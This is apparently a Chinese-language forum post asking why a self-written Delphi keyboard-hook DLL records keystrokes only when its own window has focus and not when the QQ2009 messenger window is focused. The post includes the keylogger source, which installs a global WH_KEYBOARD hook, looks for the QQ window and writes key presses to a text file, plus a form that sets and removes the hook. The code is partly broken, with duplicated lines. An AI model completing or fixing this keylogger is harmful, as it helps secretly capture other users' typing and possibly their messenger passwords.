关于键盘记录问题的请教
以下是本人写的键盘记录程序,为什么只能在本程序处于焦点时才对键盘操作记录,而当QQ处于焦点时不记录呢?
谢谢!!
library GMousehook;
uses
SysUtils,
System,
Classes,
WinTypes,
WinProcs,
Messages;
var
{holds various global values}
IsHooked: Boolean;
HookHandle: HHook;
DesktopWin: HWND;
hw:HWND;
MyRecore:TextFile;
function HookProc(Code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
begin
hw:= Findwindow(nil,'QQ2009');
if (wParam=VK_TAB) and (hw<>0) then
begin
AssignFile(MyRecore,'MyRecore.txt');
append(MyRecore);
try
writeln(MyRecore,'TAB');
finally
closeFile(MyRecore);
end;
end;
Result := CallNextHookEx(HookHandle, Code, wParam, lParam);
end;
Result := CallNextHookEx(HookHandle, Code, wParam, lParam);
end;
function SetHook: Boolean; stdcall;
begin
Result := FALSE;
if IsHooked then
Exit;
DesktopWin := GetDeskTopWindow;
HookHandle := SetWindowsHookEx(WH_KEYBOARD, HookProc, HInstance, 0);
Result := HookHandle <> 0;
end;
function RemoveHook: Boolean; stdcall;
begin
Result := FALSE;
if (not IsHooked) and (HookHandle <> 0) then
Result := UnhookWindowsHookEx(HookHandle);
IsHooked := FALSE;
end;
exports
SetHook name 'SetHook',
RemoveHook name 'RemoveHook',
HookProc name 'HookProc';
begin
IsHooked := FALSE;
end.
unit MouseHookDemoU;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Label1: TLabel;
Button1: TButton;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
function SetHook: Boolean; stdcall;
function RemoveHook: Boolean; stdcall;
var
Form1: TForm1;
implementation
{$R *.dfm}
function SetHook; external 'GMouseHook.dll' name 'SetHook';
function RemoveHook; external 'GMouseHook.dll' name 'RemoveHook';
procedure TForm1.Button1Click(Sender: TObject);
begin
if SetHook then
ShowMessage('Global Mouse Hook Set, Click on Desktop')
else
ShowMessage('Global Mouse Hook Not Set');
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if RemoveHook then
ShowMessage('Global Mouse Hook Removed, Click on Desktop')
else
ShowMessage('Global Mouse Hook Not Removed');
end;
end.